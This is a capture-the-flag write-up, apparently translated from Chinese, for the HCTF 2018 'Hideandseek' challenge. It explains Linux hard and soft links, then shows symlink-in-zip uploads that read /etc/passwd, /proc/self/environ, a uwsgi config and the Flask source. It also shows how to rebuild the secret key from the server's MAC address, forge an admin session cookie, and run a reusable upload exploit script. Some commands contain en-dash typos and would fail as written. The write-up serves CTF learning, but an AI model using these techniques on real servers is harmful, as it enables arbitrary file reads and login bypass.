BUU [HCTF 2018]Hideandseek
Test points:
- Soft link to read arbitrary files
- Flask fake session
/proc/self/environ
File gets the list of environment variables for the current processrandom.seed()
Generated pseudo-random number seed- MAC address (stored in
/sys/class/net/eth0/address
file)
I encountered soft connections during the national competition. It is a worry to learn about it again this time.
First, let’s introduce what a soft connection is.
Linux includes two types of links: soft links 硬链接(Hard Link)
and 软链接(Soft Link)
soft links, also known as symbolic links.
[Hard connection]
Hard connection refers to connecting through index nodes. In the Linux file system, files stored in disk partitions are assigned a number regardless of their type, called an Inode Index. In Linux, multiple file names pointing to the same index node exist. Generally this connection is a hard connection. The function of hard link is to allow a file to have multiple valid path names, so that users can establish hard links to important files to prevent "accidental deletion". The reason for this is as mentioned above, because there is more than one connection to the index node of the directory. Deleting only one connection does not affect the index node itself and other connections. Only when the last connection is deleted, the data blocks of the file and the directory connections will be released. In other words, the condition for the file to be truly deleted is that all hard-linked files related to it are deleted. To put it bluntly, a hard link is a pointer pointing to the file index node, and the system does not reallocate the inode for it.
[Soft link]
Soft link is a commonly used command in Linux. Its function is to create a different link for a certain file in another location. ln
The practical application is: when we need to use the same file in different directories, we do not need to put a file that must be the same in every required directory. We only need to use the command link (link) in other directories. That's it, you don't have to occupy disk space repeatedly.
[index node (inode)]
To understand links, we first have to understand a concept called index node (inode). In the Linux system, the kernel allocates an Inode (index node) to each newly created file. Each file has a unique inode number. We can simply understand the inode as a pointer, which always points to the specific location of this file. storage location. File attributes are stored in the index node. When accessing the file, the index node is copied to the memory, thereby achieving fast access to the file. The system locates each file by index node (rather than file name).
Soft connection usage:
Create soft link
ln -s [源文件或目录] [目标文件或目录]
//当前路径创建test 引向/var/www/test 文件夹
ln –s /var/www/test test
//创建/var/test 引向/var/www/test 文件夹
ln –s /var/www/test /var/test
Delete soft link
//删除test
rm –rf test
Modify soft link
ln –snf [新的源文件或目录] [目标文件或目录]
This will change the original link address to the new address
//创建一个软链接
ln –s /var/www/test /var/test
//修改指向的新路径
ln –snf /var/www/test1 /var/test
Commonly used parameters:
-f: Delete files with the same file name as dist first when linking
-d: Allow system administrators to hard link their own directories
-i: Ask before deleting files with the same file name as dist
-n: In progress When soft linking, treat dist as a normal file
-s: perform a soft link (symbolic link)
-v: display its file name before linking
-b: back up files that will be overwritten or deleted during linking
- S SUFFIX: Add the suffix SUFFIX to all backup files
-V METHOD: Specify the backup method
–help: Display auxiliary instructions
–version: Display version
Start doing the questions.
Only the login function is available on the current page, and other functions will not jump. Try to log in.
It was found that any user password can be used to log in, but only admin cannot be logged in.
After logging in, there is a point to upload files. Prompt us to upload .zip
the compressed package of the suffix.
I uploaded a random one .php
to test the waters and found that I could only upload .zip
compressed packages.
Compressed packages can easily make people think of soft links, so try uploading a .zip
compressed package at random first. There is no echo.
Then upload a compressed package whose content is a soft link and try to read /etc/passwd
the file.
Enter the command in Linux to create a soft link compressed package.
ln -s /etc/passwd passwd
zip -y passwd.zip passwd
rm –rf passwd
Then upload and find that the content on the server is successfully echoed /etc/passwd
.
In theory, we can also read /flag
the content directly. But I tried it and failed. . .
It is speculated that the permissions may be insufficient. You need to log in as admin to have permission to read /flag
. How to log in to the admin? After collecting information, I found the session. The server should determine the identity through the session. We need to forge the session. At the same time, the framework used is determined through the session flask
.
Download a tool flask_unsign
and open the terminal in the folder. The tool can only decrypt and blast but not the password, so you have to find it yourself.
flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6IjExMSJ9.F9gzQg.rUpgzWsMZS-4g4XKmZ3GL1-bRPQ'
得到{
'username': '111'}
If you need to fake a session secret_key
, try to find the source code.
Because an arbitrary file has been read through a soft link, we try to read /proc/self/environ
the file to get a list of environment variables for the current process, including flask
the environment variables under.
Explained below, it /proc
is a virtual file system, which stores some special files of the current running status. Through these files, you can view information about the system hardware and currently running processes, and you can even change the running status of the kernel by changing some of these files. /environ
Is a list of environment variables for the current process.
ln -s /proc/self/environ self
zip -y self.zip self
rm –rf self
After successfully reading /proc/self/environ
the file.
We noticed UWSGI_INI=/app/uwsgi.ini
. That is, uwsgi
the server's configuration file, which may contain the source code path.
client —> nginx —> uwsgi —> flask background program (this process is generally used in production)
We make soft link reads in the same way
ln -s /app/uwsgi.ini uwsgi
zip -y uwsgi.zip uwsgi
rm –rf uwsgi
We got the source code path, but there was a problem with the BUU environment. This way, the source code path read in the competition was /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
. We also used this path to do the questions and continued to read the source code through soft connections.
ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py main
zip -y main.zip main
rm –rf main
Ctrl+U to see more clearly.
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='0.0.0.0', debug=True, port=10008)
Browse the source code, it is generated SECRET_KEY
by python's random function , and the seed is . Like PHP, Python's functions are also pseudo-random numbers. As long as we know what the seed is, it is not a problem to get the key generated by the random number .random()
uuid.getnode()
random()
uuid.getnode()
SECRET_KEY
uuid.getnode()
The method in Python obtains the hardware address in the form of a 48
positive integer , which is the MAC address of the server.
The current logic is this. MAC address=》Random number seed=》SECRET_KEY=》Fake session=》admin login=》flag.
The MAC address is found and stored in /sys/class/net/eth0/address
the file, and the soft connection reads the file:
ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac
rm –rf mac
There are other ways to find the mac address:
c6:1b:39:ac:ff:91
, c61b39acff91
converted to decimal is217820234055569
Run the key locally and it will come out. yes76.9034879300039
flask_session_cookie_manager3
Open the terminal under the tools folder in kali .
python flask_session_cookie_manager3.py encode -s "76.9034879300039" -t "{'username': 'admin'}"
geteyJ1c2VybmFtZSI6ImFkbWluIn0.ZPaw7Q.seTwvDjojrAUhJXF998kV7QYEKY
After successfully logging in to the admin account, there is no need to read the flag anymore, just give it directly.
Find a soft connection script:
import os
import requests
import sys
def make_zip():
os.system('ln -s ' + sys.argv[2] + ' test_exp')
os.system('zip -y test_exp.zip test_exp')
def run():
make_zip()
res = requests.post(sys.argv[1], files={
'the_file': open('./test_exp.zip', 'rb')})
print(res.text)
os.system('rm -rf test_exp')
os.system('rm -rf test_exp.zip')
if __name__ == '__main__':
run()